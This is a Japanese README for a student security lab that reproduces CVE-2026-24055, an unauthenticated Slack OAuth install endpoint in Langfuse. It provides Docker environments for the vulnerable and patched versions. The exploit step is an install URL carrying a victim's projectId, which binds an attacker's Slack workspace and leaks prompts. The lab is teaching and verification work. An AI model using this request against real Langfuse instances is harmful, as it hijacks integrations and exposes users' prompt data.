
Langfuseにおける未認証のSlack OAuthインストールを標的とした、教育用のCVE-2026-24055エクスプロイトデモンストレーション。実践的なセキュリティテストのための脆弱性あり/パッチ適用済みのDocker環境を含む。
Web およびアプリケーションセキュリティ科目の課題 — グループ 06、クラス NT213.Q21.ANTT
本プロジェクトは、Langfuse プラットフォーム上で公開された実際のセキュリティ脆弱性(CVE-2026-24055)を再現するものです。この脆弱性は OAuth エンドポイントを悪用し、攻撃者がログインすることなく、他人のプロジェクトに Slack ワークスペースの接続を乗っ取ることができます。
本プロジェクトには以下が含まれます:脆弱なバージョンと修正済みバージョンの両方を模擬する Docker 環境の構築、段階的なエクスプロイトの実行、および修正プログラムが正しく機能することの検証。これを通じて、OAuth フローにおけるアクセス制御の脆弱性を分析する実践を行います。これは、Web 認証システムを構築または監査する際に直接活用できるスキルです。
示すスキル: OAuth2 フローの分析、Docker、セキュリティアドバイザリの読解、技術レポートの作成、セキュリティテスト。
CVE-2026-24055 は、Langfuse のバージョン 3.89.0 から 3.146.0 に存在する Improper Access Control の脆弱性です。
エンドポイント /api/public/slack/install は認証を要求しないため、攻撃者は projectId さえ知っていれば、自分の Slack ワークスペースを任意のプロジェクトにバインドできます。被害者が Slack に通知を送信する自動化を作成すると、プロンプトの内容全体が攻撃者のワークスペースに漏洩します。
| 属性 | 詳細 |
|---|---|
| CWE | CWE-284 — Improper Access Control |
| 影響を受けるバージョン | Langfuse 3.89.0 – 3.146.0 |
| 修正済みバージョン | Langfuse 3.147.0 |
| GitHub Advisory | GHSA-pvq7-vvfj-p98x |
| NVD | CVE-2026-24055 |

| ツール | 最小バージョン |
|---|---|
| Docker Desktop | 24.0+ |
| Docker Compose | v2 |
| Git | 任意 |
| RAM | 8 GB |
Slack API では
http://localhost:3000を Redirect URL として使用できます。
http://localhost:3000
cd vulnerable
cp .env.example .env
.env ファイルを開き、以下の値を入力します:
NEXTAUTH_URL=http://localhost:3000
SLACK_CLIENT_ID=<your-slack-client-id>
SLACK_CLIENT_SECRET=<your-slack-client-secret>
SLACK_STATE_SECRET=any-random-string
docker compose up -d
コンテナが準備完了したことを確認:
docker compose ps
約 30~60 秒待ちます。すべてのコンテナが
Up (healthy)状態である必要があります。
http://localhost:3000 にアクセス:
被害者アカウント
攻撃者アカウント
攻撃者のブラウザで(Langfuse にログインする必要なし)、以下にアクセス:
http://localhost:3000/api/public/slack/install?projectId=<victim-project-id>
フローの流れ:
被害者アカウントでログイン:
Prompt created / updated / deletedSlack → チャンネルを選択cd ../vulnerable
docker compose down
cd ../patched
cp .env.example .env
# vulnerable セクションと同じ値を入力
docker compose up -d
ログインせずに試す:
http://localhost:3000/api/public/slack/install?projectId=<any-project-id>
期待される結果 — HTTP 401:
{ "error": "Authentication required" }
攻撃者でログインし、被害者の projectId を使用:
http://localhost:3000/api/public/slack/install?projectId=<victim-project-id>
期待される結果 — HTTP 403:
{ "error": "You do not have permission to configure Slack for this project" }
脆弱性は完全に修正されました。
docker compose down
すべてのデータ(ボリューム)を削除したい場合:
docker compose down -v
cve-2026-24055/
├── README.md ← このファイル
├── vulnerable/
│ ├── docker-compose.yml ← Langfuse v3.146.0(脆弱)
│ └── .env.example
└── patched/
├── docker-compose.yml ← Langfuse v3.147.0(修正済み)
└── .env.example